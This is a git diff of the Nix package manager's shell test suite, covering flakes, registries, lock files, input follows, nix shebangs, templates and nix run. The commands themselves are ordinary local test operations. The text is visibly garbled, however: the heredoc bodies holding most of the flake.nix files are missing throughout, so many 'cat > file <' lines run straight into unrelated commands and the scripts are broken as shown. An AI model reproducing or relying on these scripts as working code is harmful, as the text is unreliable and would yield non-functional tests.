(import self.drv); self.drv; + }; +} +EOF + +git -C "$flake1Dir" add flake.nix +git -C "$flake1Dir" commit -m "Init" + +expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks' +expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks' + +# Conditional error should not be cached +expect 1 nix build "$flake1Dir#ifd" --option allow-import-from-derivation false 2>&1 \ + | grepQuiet 'error: cannot build .* during evaluation because the option '\''allow-import-from-derivation'\'' is disabled' +nix build --no-link "$flake1Dir#ifd" diff --git a/tests/functional/flakes/flake-in-submodule.sh b/tests/functional/flakes/flake-in-submodule.sh new file mode 100755 index 000000000..817f77783 --- /dev/null +++ b/tests/functional/flakes/flake-in-submodule.sh @@ -0,0 +1,65 @@ +#!/usr/bin/env bash + +source common.sh + +# Tests that: +# - flake.nix may reside inside of a git submodule +# - the flake can access content outside of the submodule +# +# rootRepo +# ├── root.nix +# └── submodule +# ├── flake.nix +# └── sub.nix + + +requireGit + +TODO_NixOS + +clearStore + +# Submodules can't be fetched locally by default. +# See fetchGitSubmodules.sh +export XDG_CONFIG_HOME=$TEST_HOME/.config +git config --global protocol.file.allow always + + +rootRepo=$TEST_ROOT/rootRepo +subRepo=$TEST_ROOT/submodule + + +createGitRepo "$subRepo" +cat > "$subRepo"/flake.nix < "$subRepo"/sub.nix +git -C "$subRepo" add flake.nix sub.nix +git -C "$subRepo" commit -m Initial + +createGitRepo "$rootRepo" + +git -C "$rootRepo" submodule init +git -C "$rootRepo" submodule add "$subRepo" submodule +echo '"expression in root repo"' > "$rootRepo"/root.nix +git -C "$rootRepo" add root.nix +git -C "$rootRepo" commit -m "Add root.nix" + +flakeref=git+file://$rootRepo\?submodules=1\&dir=submodule + +# Flake can live inside a submodule and can be accessed via ?dir=submodule +[[ $(nix eval --json "$flakeref#sub" ) = '"expression in submodule"' ]] + +# The flake can access content outside of the submodule +[[ $(nix eval --json "$flakeref#root" ) = '"expression in root repo"' ]] + +# Check that dirtying a submodule makes the entire thing dirty. +[[ $(nix flake metadata --json "$flakeref" | jq -r .locked.rev) != null ]] +echo '"foo"' > "$rootRepo"/submodule/sub.nix +[[ $(nix eval --json "$flakeref#sub" ) = '"foo"' ]] +[[ $(nix flake metadata --json "$flakeref" | jq -r .locked.rev) = null ]] diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh new file mode 100755 index 000000000..26b91eda7 --- /dev/null +++ b/tests/functional/flakes/flakes.sh @@ -0,0 +1,685 @@ +#!/usr/bin/env bash + +source ./common.sh + +TODO_NixOS + +requireGit + +clearStore +rm -rf $TEST_HOME/.cache $TEST_HOME/.config + +flake1Dir=$TEST_ROOT/flake1 +flake2Dir=$TEST_ROOT/flake\ 2 +percentEncodedFlake2Dir=$TEST_ROOT/flake%202 +flake3Dir=$TEST_ROOT/flake%20 +percentEncodedFlake3Dir=$TEST_ROOT/flake%2520 +flake5Dir=$TEST_ROOT/flake5 +flake7Dir=$TEST_ROOT/flake7 +nonFlakeDir=$TEST_ROOT/nonFlake +badFlakeDir=$TEST_ROOT/badFlake +flakeGitBare=$TEST_ROOT/flakeGitBare +lockfileSummaryFlake=$TEST_ROOT/lockfileSummaryFlake + +for repo in "$flake1Dir" "$flake2Dir" "$flake3Dir" "$flake7Dir" "$nonFlakeDir" "$lockfileSummaryFlake"; do + # Give one repo a non-main initial branch. + extraArgs= + if [[ "$repo" == "$flake2Dir" ]]; then + extraArgs="--initial-branch=main" + fi + if [[ "$repo" == "$lockfileSummaryFlake" ]]; then + extraArgs="--initial-branch=main" + fi + + createGitRepo "$repo" "$extraArgs" +done + +createSimpleGitFlake "$flake1Dir" + +cat > "$flake2Dir/flake.nix" < "$flake3Dir/flake.nix" < "$flake3Dir/default.nix" < "$nonFlakeDir/README.md" < "$nonFlakeDir/shebang.sh" < $nonFlakeDir/shebang-comments.sh < $nonFlakeDir/shebang-different-comments.sh < $nonFlakeDir/shebang-reject.sh < $nonFlakeDir/shebang-inline-expr.sh <> $nonFlakeDir/shebang-inline-expr.sh <<"EOF" +#! nix --offline shell +#! nix --impure --expr `` +#! nix let flake = (builtins.getFlake (toString ../flake1)).packages; +#! nix fooScript = flake.${builtins.currentSystem}.fooScript; +#! nix /* just a comment !@#$%^&*()__+ # */ +#! nix in fooScript +#! nix `` +#! nix --no-write-lock-file --command bash +set -ex +foo +echo "$@" +EOF +chmod +x $nonFlakeDir/shebang-inline-expr.sh + +cat > $nonFlakeDir/fooScript.nix <<"EOF" +let flake = (builtins.getFlake (toString ../flake1)).packages; + fooScript = flake.${builtins.currentSystem}.fooScript; + in fooScript +EOF + +cat > $nonFlakeDir/shebang-file.sh <> $nonFlakeDir/shebang-file.sh <<"EOF" +#! nix --offline shell +#! nix --impure --file ./fooScript.nix +#! nix --no-write-lock-file --command bash +set -ex +foo +echo "$@" +EOF +chmod +x $nonFlakeDir/shebang-file.sh + +# Construct a custom registry, additionally test the --registry flag +nix registry add --registry "$registry" flake1 "git+file://$flake1Dir" +nix registry add --registry "$registry" flake2 "git+file://$percentEncodedFlake2Dir" +nix registry add --registry "$registry" flake3 "git+file://$percentEncodedFlake3Dir" +nix registry add --registry "$registry" flake4 flake3 +nix registry add --registry "$registry" nixpkgs flake1 + +# Test 'nix registry list'. +[[ $(nix registry list | wc -l) == 5 ]] +nix registry list | grep '^global' +nix registry list | grepInverse '^user' # nothing in user registry + +# Test 'nix flake metadata'. +nix flake metadata flake1 +nix flake metadata flake1 | grepQuiet 'Locked URL:.*flake1.*' + +# Test 'nix flake metadata' on a local flake. +(cd "$flake1Dir" && nix flake metadata) | grepQuiet 'URL:.*flake1.*' +(cd "$flake1Dir" && nix flake metadata .) | grepQuiet 'URL:.*flake1.*' +nix flake metadata "$flake1Dir" | grepQuiet 'URL:.*flake1.*' + +# Test 'nix flake metadata --json'. +json=$(nix flake metadata flake1 --json | jq .) +[[ $(echo "$json" | jq -r .description) = 'Bla bla' ]] +[[ -d $(echo "$json" | jq -r .path) ]] +[[ $(echo "$json" | jq -r .lastModified) = $(git -C "$flake1Dir" log -n1 --format=%ct) ]] +hash1=$(echo "$json" | jq -r .revision) +[[ -n $(echo "$json" | jq -r .fingerprint) ]] + +echo foo > "$flake1Dir/foo" +git -C "$flake1Dir" add $flake1Dir/foo +[[ $(nix flake metadata flake1 --json --refresh | jq -r .dirtyRevision) == "$hash1-dirty" ]] + +echo -n '# foo' >> "$flake1Dir/flake.nix" +flake1OriginalCommit=$(git -C "$flake1Dir" rev-parse HEAD) +git -C "$flake1Dir" commit -a -m 'Foo' +flake1NewCommit=$(git -C "$flake1Dir" rev-parse HEAD) +hash2=$(nix flake metadata flake1 --json --refresh | jq -r .revision) +[[ $(nix flake metadata flake1 --json --refresh | jq -r .dirtyRevision) == "null" ]] +[[ $hash1 != $hash2 ]] + +# Test 'nix build' on a flake. +nix build -o "$TEST_ROOT/result" flake1#foo +[[ -e "$TEST_ROOT/result/hello" ]] + +# Test packages.default. +nix build -o "$TEST_ROOT/result" flake1 +[[ -e "$TEST_ROOT/result/hello" ]] + +nix build -o "$TEST_ROOT/result" "$flake1Dir" +nix build -o "$TEST_ROOT/result" "git+file://$flake1Dir" + +# Test explicit packages.default. +nix build -o "$TEST_ROOT/result" "$flake1Dir#default" +nix build -o "$TEST_ROOT/result" "git+file://$flake1Dir#default" + +# Test explicit packages.default with query. +nix build -o "$TEST_ROOT/result" "$flake1Dir?ref=HEAD#default" +nix build -o "$TEST_ROOT/result" "git+file://$flake1Dir?ref=HEAD#default" + +# Check that store symlinks inside a flake are not interpreted as flakes. +nix build -o "$flake1Dir/result" "git+file://$flake1Dir" +nix path-info "$flake1Dir/result" + +# 'getFlake' on an unlocked flakeref should fail in pure mode, but +# succeed in impure mode. +(! nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"$flake1Dir\").packages.$system.default") +nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"$flake1Dir\").packages.$system.default" --impure + +# 'getFlake' on a locked flakeref should succeed even in pure mode. +nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"git+file://$flake1Dir?rev=$hash2\").packages.$system.default" + +# Regression test for dirOf on the root of the flake. +[[ $(nix eval --json flake1#parent) = \""$NIX_STORE_DIR"\" ]] + +# Regression test for baseNameOf on the root of the flake. +[[ $(nix eval --raw flake1#baseName) =~ ^[a-z0-9]+-source$ ]] + +# Test that the root of a tree returns a path named /nix/store/--source. +# This behavior is *not* desired, but has existed for a while. +# Issue #10627 what to do about it. +[[ $(nix eval --raw flake1#root) =~ ^.*/[a-z0-9]+-[a-z0-9]+-source$ ]] + +# Building a flake with an unlocked dependency should fail in pure mode. +(! nix build -o "$TEST_ROOT/result" flake2#bar --no-registries) +(! nix build -o "$TEST_ROOT/result" flake2#bar --no-use-registries) +(! nix eval --expr "builtins.getFlake \"$flake2Dir\"") + +# But should succeed in impure mode. +(! nix build -o "$TEST_ROOT/result" flake2#bar --impure) +nix build -o "$TEST_ROOT/result" flake2#bar --impure --no-write-lock-file +nix eval --expr "builtins.getFlake \"$flake2Dir\"" --impure + +# Building a local flake with an unlocked dependency should fail with --no-update-lock-file. +expect 1 nix build -o "$TEST_ROOT/result" "$flake2Dir#bar" --no-update-lock-file 2>&1 | grep 'requires lock file changes' + +# But it should succeed without that flag. +nix build -o "$TEST_ROOT/result" "$flake2Dir#bar" --no-write-lock-file +expect 1 nix build -o "$TEST_ROOT/result" "$flake2Dir#bar" --no-update-lock-file 2>&1 | grep 'requires lock file changes' +nix build -o "$TEST_ROOT/result" "$flake2Dir#bar" --commit-lock-file +[[ -e "$flake2Dir/flake.lock" ]] +[[ -z $(git -C "$flake2Dir" diff main || echo failed) ]] + +# Rerunning the build should not change the lockfile. +nix build -o "$TEST_ROOT/result" "$flake2Dir#bar" +[[ -z $(git -C "$flake2Dir" diff main || echo failed) ]] + +# Building with a lockfile should not require a fetch of the registry. +nix build -o "$TEST_ROOT/result" --flake-registry file:///no-registry.json "$flake2Dir#bar" --refresh +nix build -o "$TEST_ROOT/result" --no-registries "$flake2Dir#bar" --refresh +nix build -o "$TEST_ROOT/result" --no-use-registries "$flake2Dir#bar" --refresh + +# Updating the flake should not change the lockfile. +nix flake lock "$flake2Dir" +[[ -z $(git -C "$flake2Dir" diff main || echo failed) ]] + +# Now we should be able to build the flake in pure mode. +nix build -o "$TEST_ROOT/result" flake2#bar + +# Or without a registry. +nix build -o "$TEST_ROOT/result" --no-registries "git+file://$percentEncodedFlake2Dir#bar" --refresh +nix build -o "$TEST_ROOT/result" --no-use-registries "git+file://$percentEncodedFlake2Dir#bar" --refresh + +# Test whether indirect dependencies work. +nix build -o "$TEST_ROOT/result" "$flake3Dir#xyzzy" +git -C "$flake3Dir" add flake.lock + +# Add dependency to flake3. +rm "$flake3Dir/flake.nix" + +cat > "$flake3Dir/flake.nix" < "$flake3Dir/flake.nix" < \$out + [[ \$(cat \${inputs.nonFlake}/README.md) = \$(cat \${inputs.nonFlakeFile}) ]] + [[ \${inputs.nonFlakeFile} = \${inputs.nonFlakeFile2} ]] + ''; + }; + }; +} +EOF + +cp ../config.nix "$flake3Dir" + +git -C "$flake3Dir" add flake.nix config.nix +git -C "$flake3Dir" commit -m 'Add nonFlakeInputs' + +# Check whether `nix build` works with a lockfile which is missing a +# nonFlakeInputs. +nix build -o "$TEST_ROOT/result" "$flake3Dir#sth" --commit-lock-file + +nix build -o "$TEST_ROOT/result" flake3#fnord +[[ $(cat $TEST_ROOT/result) = FNORD ]] + +# Check whether flake input fetching is lazy: flake3#sth does not +# depend on flake2, so this shouldn't fail. +rm -rf "$TEST_HOME/.cache" +clearStore +mv "$flake2Dir" "$flake2Dir.tmp" +mv "$nonFlakeDir" "$nonFlakeDir.tmp" +nix build -o "$TEST_ROOT/result" flake3#sth +(! nix build -o "$TEST_ROOT/result" flake3#xyzzy) +(! nix build -o "$TEST_ROOT/result" flake3#fnord) +mv "$flake2Dir.tmp" "$flake2Dir" +mv "$nonFlakeDir.tmp" "$nonFlakeDir" +nix build -o "$TEST_ROOT/result" flake3#xyzzy flake3#fnord + +# Test doing multiple `lookupFlake`s +nix build -o "$TEST_ROOT/result" flake4#xyzzy + +# Test 'nix flake update' and --override-flake. +nix flake lock "$flake3Dir" +[[ -z $(git -C "$flake3Dir" diff master || echo failed) ]] + +nix flake update --flake "$flake3Dir" --override-flake flake2 nixpkgs +[[ ! -z $(git -C "$flake3Dir" diff master || echo failed) ]] + +# Make branch "removeXyzzy" where flake3 doesn't have xyzzy anymore +git -C "$flake3Dir" checkout -b removeXyzzy +rm "$flake3Dir/flake.nix" + +cat > "$flake3Dir/flake.nix" < \$out + ''; + }; + }; +} +EOF +nix flake lock "$flake3Dir" +git -C "$flake3Dir" add flake.nix flake.lock +git -C "$flake3Dir" commit -m 'Remove packages.xyzzy' +git -C "$flake3Dir" checkout master + +# Test whether fuzzy-matching works for registry entries. +(! nix build -o "$TEST_ROOT/result" flake4/removeXyzzy#xyzzy) +nix build -o "$TEST_ROOT/result" flake4/removeXyzzy#sth + +# Testing the nix CLI +nix registry add flake1 flake3 +[[ $(nix registry list | wc -l) == 6 ]] +nix registry pin flake1 +[[ $(nix registry list | wc -l) == 6 ]] +nix registry pin flake1 flake3 +[[ $(nix registry list | wc -l) == 6 ]] +nix registry remove flake1 +[[ $(nix registry list | wc -l) == 5 ]] + +# Test 'nix registry list' with a disabled global registry. +nix registry add user-flake1 git+file://$flake1Dir +nix registry add user-flake2 "git+file://$percentEncodedFlake2Dir" +[[ $(nix --flake-registry "" registry list | wc -l) == 2 ]] +nix --flake-registry "" registry list | grepQuietInverse '^global' # nothing in global registry +nix --flake-registry "" registry list | grepQuiet '^user' +nix registry remove user-flake1 +nix registry remove user-flake2 +[[ $(nix registry list | wc -l) == 5 ]] + +# Test 'nix flake clone'. +rm -rf $TEST_ROOT/flake1-v2 +nix flake clone flake1 --dest $TEST_ROOT/flake1-v2 +[ -e $TEST_ROOT/flake1-v2/flake.nix ] + +# Test 'follows' inputs. +cat > "$flake3Dir/flake.nix" < "$flake3Dir/flake.nix" < "$flake3Dir/flake.nix" < "$flake3Dir/flake.nix" < "$flake3Dir/flake.nix" < $badFlakeDir/flake.nix +nix store delete $(nix store add-path $badFlakeDir) + +[[ $(nix path-info $(nix store add-path $flake1Dir)) =~ flake1 ]] +[[ $(nix path-info path:$(nix store add-path $flake1Dir)) =~ simple ]] + +# Test fetching flakerefs in the legacy CLI. +[[ $(nix-instantiate --eval flake:flake3 -A x) = 123 ]] +[[ $(nix-instantiate --eval "flake:git+file://$percentEncodedFlake3Dir" -A x) = 123 ]] +[[ $(nix-instantiate -I flake3=flake:flake3 --eval '' -A x) = 123 ]] +[[ $(NIX_PATH=flake3=flake:flake3 nix-instantiate --eval '' -A x) = 123 ]] + +# Test alternate lockfile paths. +nix flake lock "$flake2Dir" --output-lock-file $TEST_ROOT/flake2.lock +cmp "$flake2Dir/flake.lock" $TEST_ROOT/flake2.lock >/dev/null # lockfiles should be identical, since we're referencing flake2's original one + +nix flake lock "$flake2Dir" --output-lock-file $TEST_ROOT/flake2-overridden.lock --override-input flake1 git+file://$flake1Dir?rev=$flake1OriginalCommit +expectStderr 1 cmp "$flake2Dir/flake.lock" $TEST_ROOT/flake2-overridden.lock +nix flake metadata "$flake2Dir" --reference-lock-file $TEST_ROOT/flake2-overridden.lock | grepQuiet $flake1OriginalCommit + +# reference-lock-file can only be used if allow-dirty is set. +expectStderr 1 nix flake metadata "$flake2Dir" --no-allow-dirty --reference-lock-file $TEST_ROOT/flake2-overridden.lock + +# Test shebang +[[ $($nonFlakeDir/shebang.sh) = "foo" ]] +[[ $($nonFlakeDir/shebang.sh "bar") = "foo"$'\n'"bar" ]] +[[ $($nonFlakeDir/shebang-comments.sh ) = "foo" ]] +[[ "$($nonFlakeDir/shebang-different-comments.sh)" = "$(cat $nonFlakeDir/shebang-different-comments.sh)" ]] +[[ $($nonFlakeDir/shebang-inline-expr.sh baz) = "foo"$'\n'"baz" ]] +[[ $($nonFlakeDir/shebang-file.sh baz) = "foo"$'\n'"baz" ]] +expect 1 $nonFlakeDir/shebang-reject.sh 2>&1 | grepQuiet -F 'error: unsupported unquoted character in nix shebang: *. Use double backticks to escape?' + +# Test that the --commit-lock-file-summary flag and its alias work +cat > "$lockfileSummaryFlake/flake.nix" < $flakeFollowsA/flake.nix < $flakeFollowsB/flake.nix < $flakeFollowsC/flake.nix < $flakeFollowsD/flake.nix < $flakeFollowsE/flake.nix < $flakeFollowsA/flake.nix < $flakeFollowsA/flake.nix <&1 | grep 'points outside' + +# Non-existant follows should print a warning. +cat >$flakeFollowsA/flake.nix <&1 | grep "warning: input 'B' has an override for a non-existent input 'invalid'" +nix flake lock "$flakeFollowsA" 2>&1 | grep "warning: input 'B' has an override for a non-existent input 'invalid2'" + +# Now test follow path overloading +# This tests a lockfile checking regression https://github.com/NixOS/nix/pull/8819 +# +# We construct the following graph, where p->q means p has input q. +# A double edge means that the edge gets overridden using `follows`. +# +# A +# / \ +# / \ +# v v +# B ==> C --- follows declared in A +# \\ / +# \\/ --- follows declared in B +# v +# D +# +# The message was +# error: input 'B/D' follows a non-existent input 'B/C/D' +# +# Note that for `B` to resolve its follow for `D`, it needs `C/D`, for which it needs to resolve the follow on `C` first. +flakeFollowsOverloadA="$TEST_ROOT/follows/overload/flakeA" +flakeFollowsOverloadB="$TEST_ROOT/follows/overload/flakeA/flakeB" +flakeFollowsOverloadC="$TEST_ROOT/follows/overload/flakeA/flakeB/flakeC" +flakeFollowsOverloadD="$TEST_ROOT/follows/overload/flakeA/flakeB/flakeC/flakeD" + +# Test following path flakerefs. +createGitRepo "$flakeFollowsOverloadA" +mkdir -p "$flakeFollowsOverloadB" +mkdir -p "$flakeFollowsOverloadC" +mkdir -p "$flakeFollowsOverloadD" + +cat > "$flakeFollowsOverloadD/flake.nix" < "$flakeFollowsOverloadC/flake.nix" < "$flakeFollowsOverloadB/flake.nix" < "$flakeFollowsOverloadA/flake.nix" < baz +# The message was +# error: follow cycle detected: [baz -> foo -> bar -> baz] +flakeFollowCycle="$TEST_ROOT/follows/followCycle" + +# Test following path flakerefs. +mkdir -p "$flakeFollowCycle" + +cat > $flakeFollowCycle/flake.nix <&1 && fail "nix flake lock should have failed." || true) +echo $checkRes | grep -F "error: follow cycle detected: [baz -> foo -> bar -> baz]" + + +# Test transitive input url locking +# This tests the following lockfile issue: https://github.com/NixOS/nix/issues/9143 +# +# We construct the following graph, where p->q means p has input q. +# +# A -> B -> C +# +# And override B/C to flake D, first in A's flake.nix and then with --override-input. +# +# A -> B -> D +flakeFollowsCustomUrlA="$TEST_ROOT/follows/custom-url/flakeA" +flakeFollowsCustomUrlB="$TEST_ROOT/follows/custom-url/flakeA/flakeB" +flakeFollowsCustomUrlC="$TEST_ROOT/follows/custom-url/flakeA/flakeB/flakeC" +flakeFollowsCustomUrlD="$TEST_ROOT/follows/custom-url/flakeA/flakeB/flakeD" + + +createGitRepo "$flakeFollowsCustomUrlA" +mkdir -p "$flakeFollowsCustomUrlB" +mkdir -p "$flakeFollowsCustomUrlC" +mkdir -p "$flakeFollowsCustomUrlD" + +cat > "$flakeFollowsCustomUrlD/flake.nix" < "$flakeFollowsCustomUrlC/flake.nix" < "$flakeFollowsCustomUrlB/flake.nix" < "$flakeFollowsCustomUrlA/flake.nix" < "$templatesDir"/flake.nix < "$templatesDir"/trivial/flake.nix < "$templatesDir/trivial/a" +echo b > "$templatesDir/trivial/b" + +git -C "$templatesDir" add flake.nix trivial/ +git -C "$templatesDir" commit -m 'Initial' + +nix flake check templates +nix flake show templates +nix flake show templates --json | jq + +createGitRepo "$flakeDir" +(cd "$flakeDir" && nix flake init) +(cd "$flakeDir" && nix flake init) # check idempotence +git -C "$flakeDir" add flake.nix +nix flake check "$flakeDir" +nix flake show "$flakeDir" +nix flake show "$flakeDir" --json | jq +git -C "$flakeDir" commit -a -m 'Initial' + +# Test 'nix flake init' with benign conflicts +createGitRepo "$flakeDir" +echo a > "$flakeDir/a" +(cd "$flakeDir" && nix flake init) # check idempotence + +# Test 'nix flake init' with conflicts +createGitRepo "$flakeDir" +echo b > "$flakeDir/a" +pushd "$flakeDir" +(! nix flake init) |& grep "refusing to overwrite existing file '$flakeDir/a'" +popd +git -C "$flakeDir" commit -a -m 'Changed' + +# Test 'nix flake new'. +rm -rf "$flakeDir" +nix flake new -t templates#trivial "$flakeDir" +nix flake new -t templates#trivial "$flakeDir" # check idempotence +nix flake check "$flakeDir" diff --git a/tests/functional/flakes/inputs.sh b/tests/functional/flakes/inputs.sh new file mode 100755 index 000000000..bc0603f1b --- /dev/null +++ b/tests/functional/flakes/inputs.sh @@ -0,0 +1,82 @@ +#!/usr/bin/env bash + +source ./common.sh + +requireGit + + +test_subdir_self_path() { + baseDir=$TEST_ROOT/$RANDOM + flakeDir=$baseDir/b-low + mkdir -p "$flakeDir" + writeSimpleFlake "$baseDir" + writeSimpleFlake "$flakeDir" + + echo all good > "$flakeDir/message" + cat > "$flakeDir"/flake.nix < "$flakeDir/message" + cat > "$flakeDir"/flake.nix < "$clientDir"/flake.nix < flake.nix +{ + outputs = {self}: { + packages.$system.pkgAsPkg = (import ./shell-hello.nix).hello; + packages.$system.appAsApp = self.packages.$system.appAsApp; + + apps.$system.pkgAsApp = self.packages.$system.pkgAsPkg; + apps.$system.appAsApp = { + type = "app"; + program = "\${(import ./shell-hello.nix).hello}/bin/hello"; + }; + }; +} +EOF +nix run --no-write-lock-file .#appAsApp +nix run --no-write-lock-file .#pkgAsPkg + +! nix run --no-write-lock-file .#pkgAsApp || fail "'nix run' shouldn’t accept an 'app' defined under 'packages'" +! nix run --no-write-lock-file .#appAsPkg || fail "elements of 'apps' should be of type 'app'" + +# Test that we're not setting any more environment variables than necessary. +# For instance, we might set an environment variable temporarily to affect some +# initialization or whatnot, but this must not leak into the environment of the +# command being run. +env > $TEST_ROOT/expected-env +nix run -f shell-hello.nix env > $TEST_ROOT/actual-env +# Remove/reset variables we expect to be different. +# - PATH is modified by nix shell +# - _ is set by bash and is expected to differ because it contains the original command +# - __CF_USER_TEXT_ENCODING is set by macOS and is beyond our control +sed -i \ + -e 's/PATH=.*/PATH=.../' \ + -e 's/_=.*/_=.../' \ + -e '/^__CF_USER_TEXT_ENCODING=.*$/d' \ + $TEST_ROOT/expected-env $TEST_ROOT/actual-env +sort $TEST_ROOT/expected-env | uniq > $TEST_ROOT/expected-env.sorted +# nix run appears to clear _. I don't understand why. Is this ok? +echo "_=..." >> $TEST_ROOT/actual-env +sort $TEST_ROOT/actual-env | uniq > $TEST_ROOT/actual-env.sorted +diff $TEST_ROOT/expected-env.sorted $TEST_ROOT/actual-env.sorted + +clearStore + diff --git a/tests/flakes/search-root.sh b/tests/functional/flakes/search-root.sh old mode 100644 new mode 100755 similarity index 68% rename from tests/flakes/search-root.sh rename to tests/functional/flakes/search-root.sh index d8586dc8a..1ee29fac4 --- a/tests/flakes/search-root.sh +++ b/tests/functional/flakes/search-root.sh @@ -1,9 +1,11 @@ +#!/usr/bin/env bash + source common.sh -clearStore +clearStoreIfPossible -writeSimpleFlake $TEST_HOME -cd $TEST_HOME +writeSimpleFlake "$TEST_HOME" +cd "$TEST_HOME" mkdir -p foo/subdir echo '{ outputs = _: {}; }' > foo/flake.nix @@ -22,14 +24,14 @@ mkdir subdir pushd subdir success=("" . .# .#test ../subdir ../subdir#test "$PWD") -failure=("path:$PWD") +failure=("path:$PWD" "../simple.nix") for i in "${success[@]}"; do - nix build $i || fail "flake should be found by searching up directories" + nix build "$i" || fail "flake should be found by searching up directories" done for i in "${failure[@]}"; do - ! nix build $i || fail "flake should not search up directories when using 'path:'" + ! nix build "$i" || fail "flake should not search up directories when using 'path:'" done popd @@ -43,7 +45,7 @@ if [[ -n $(type -p git) ]]; then pushd subdir git init for i in "${success[@]}" "${failure[@]}"; do - ! nix build $i || fail "flake should not search past a git repository" + ! nix build "$i" || fail "flake should not search past a git repository" done rm -rf .git popd diff --git a/tests/functional/flakes/show.sh b/tests/functional/flakes/show.sh new file mode 100755 index 000000000..0edc450c3 --- /dev/null +++ b/tests/functional/flakes/show.sh @@ -0,0 +1,114 @@ +#!/usr/bin/env bash + +source ./common.sh + +flakeDir=$TEST_ROOT/flake +mkdir -p "$flakeDir" + +writeSimpleFlake "$flakeDir" +cd "$flakeDir" + + +# By default: Only show the packages content for the current system and no +# legacyPackages at all +nix flake show --json > show-output.json +nix eval --impure --expr ' +let show_output = builtins.fromJSON (builtins.readFile ./show-output.json); +in +assert show_output.packages.someOtherSystem.default == {}; +assert show_output.packages.${builtins.currentSystem}.default.name == "simple"; +assert show_output.legacyPackages.${builtins.currentSystem} == {}; +true +' + +# With `--all-systems`, show the packages for all systems +nix flake show --json --all-systems > show-output.json +nix eval --impure --expr ' +let show_output = builtins.fromJSON (builtins.readFile ./show-output.json); +in +assert show_output.packages.someOtherSystem.default.name == "simple"; +assert show_output.legacyPackages.${builtins.currentSystem} == {}; +true +' + +# With `--legacy`, show the legacy packages +nix flake show --json --legacy > show-output.json +nix eval --impure --expr ' +let show_output = builtins.fromJSON (builtins.readFile ./show-output.json); +in +assert show_output.legacyPackages.${builtins.currentSystem}.hello.name == "simple"; +true +' + +# Test that attributes are only reported when they have actual content +cat >flake.nix < show-output.json +nix eval --impure --expr ' +let show_output = builtins.fromJSON (builtins.readFile ./show-output.json); +in +assert show_output == { }; +true +' + +# Test that attributes with errors are handled correctly. +# nixpkgs.legacyPackages is a particularly prominent instance of this. +cat >flake.nix < show-output.json +nix eval --impure --expr ' +let show_output = builtins.fromJSON (builtins.readFile ./show-output.json); +in +assert show_output.legacyPackages.${builtins.currentSystem}.AAAAAASomeThingsFailToEvaluate == { }; +assert show_output.legacyPackages.${builtins.currentSystem}.simple.name == "simple"; +true +' + +cat >flake.nix< ./show-output.txt +test "$(awk -F '[:] ' '/aNoDescription/{print $NF}' ./show-output.txt)" = "package 'simple'" +test "$(awk -F '[:] ' '/bOneLineDescription/{print $NF}' ./show-output.txt)" = "package 'simple' - 'one line'" +test "$(awk -F '[:] ' '/cMultiLineDescription/{print $NF}' ./show-output.txt)" = "package 'simple' - 'line one'" +test "$(awk -F '[:] ' '/dLongDescription/{print $NF}' ./show-output.txt)" = "package 'simple' - '012345678901234567890123456..." +test "$(awk -F '[:] ' '/eEmptyDescription/{print $NF}' ./show-output.txt)" = "package 'simple'" \ No newline at end of file diff --git a/tests/functional/flakes/tree.zip b/tests/functional/flakes/tree.zip new file mode 100644 index 000000000..f9e4d225f Binary files /dev/null and b/tests/functional/flakes/tree.zip differ diff --git a/tests/functional/flakes/unlocked-override.sh b/tests/functional/flakes/unlocked-override.sh new file mode 100755 index 000000000..a17a0c2af --- /dev/null +++ b/tests/functional/flakes/unlocked-override.sh @@ -0,0 +1,32 @@ +#!/usr/bin/env bash + +source ./common.sh + +requireGit + +flake1Dir=$TEST_ROOT/flake1 +flake2Dir=$TEST_ROOT/flake2 + +createGitRepo "$flake1Dir" +cat > "$flake1Dir"/flake.nix < "$flake1Dir"/x.nix +git -C "$flake1Dir" add flake.nix x.nix +git -C "$flake1Dir" commit -m Initial + +createGitRepo "$flake2Dir" +cat > "$flake2Dir"/flake.nix < "$flake1Dir"/x.nix + +[[ $(nix eval --json "$flake2Dir#x" --override-input flake1 "$TEST_ROOT/flake1") = 456 ]] diff --git a/tests/fmt.sh b/tests/functional/fmt.sh old mode 100644 new mode 100755 similarity index 86% rename from tests/fmt.sh rename to tests/functional/fmt.sh index 254681ca2..b29fe64d6 --- a/tests/fmt.sh +++ b/tests/functional/fmt.sh @@ -1,8 +1,10 @@ +#!/usr/bin/env bash + source common.sh -set -o pipefail +TODO_NixOS # Provide a `shell` variable. Try not to `export` it, perhaps. -clearStore +clearStoreIfPossible rm -rf $TEST_HOME/.cache $TEST_HOME/.config $TEST_HOME/.local cp ./simple.nix ./simple.builder.sh ./fmt.simple.sh ./config.nix $TEST_HOME @@ -31,5 +33,3 @@ EOF nix fmt ./file ./folder | grep 'Formatting: ./file ./folder' nix flake check nix flake show | grep -P "package 'formatter'" - -clearStore diff --git a/tests/fmt.simple.sh b/tests/functional/fmt.simple.sh similarity index 100% rename from tests/fmt.simple.sh rename to tests/functional/fmt.simple.sh diff --git a/tests/functional/fod-failing.nix b/tests/functional/fod-failing.nix new file mode 100644 index 000000000..37c04fe12 --- /dev/null +++ b/tests/functional/fod-failing.nix @@ -0,0 +1,39 @@ +with import ./config.nix; +rec { + x1 = mkDerivation { + name = "x1"; + builder = builtins.toFile "builder.sh" + '' + echo $name > $out + ''; + outputHashMode = "recursive"; + outputHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="; + }; + x2 = mkDerivation { + name = "x2"; + builder = builtins.toFile "builder.sh" + '' + echo $name > $out + ''; + outputHashMode = "recursive"; + outputHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="; + }; + x3 = mkDerivation { + name = "x3"; + builder = builtins.toFile "builder.sh" + '' + echo $name > $out + ''; + outputHashMode = "recursive"; + outputHash = "sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="; + }; + x4 = mkDerivation { + name = "x4"; + inherit x2 x3; + builder = builtins.toFile "builder.sh" + '' + echo $x2 $x3 + exit 1 + ''; + }; +} diff --git a/tests/function-trace.sh b/tests/functional/function-trace.sh similarity index 89% rename from tests/function-trace.sh rename to tests/functional/function-trace.sh index b0d6c9d59..7524afdf2 100755 --- a/tests/function-trace.sh +++ b/tests/functional/function-trace.sh @@ -1,3 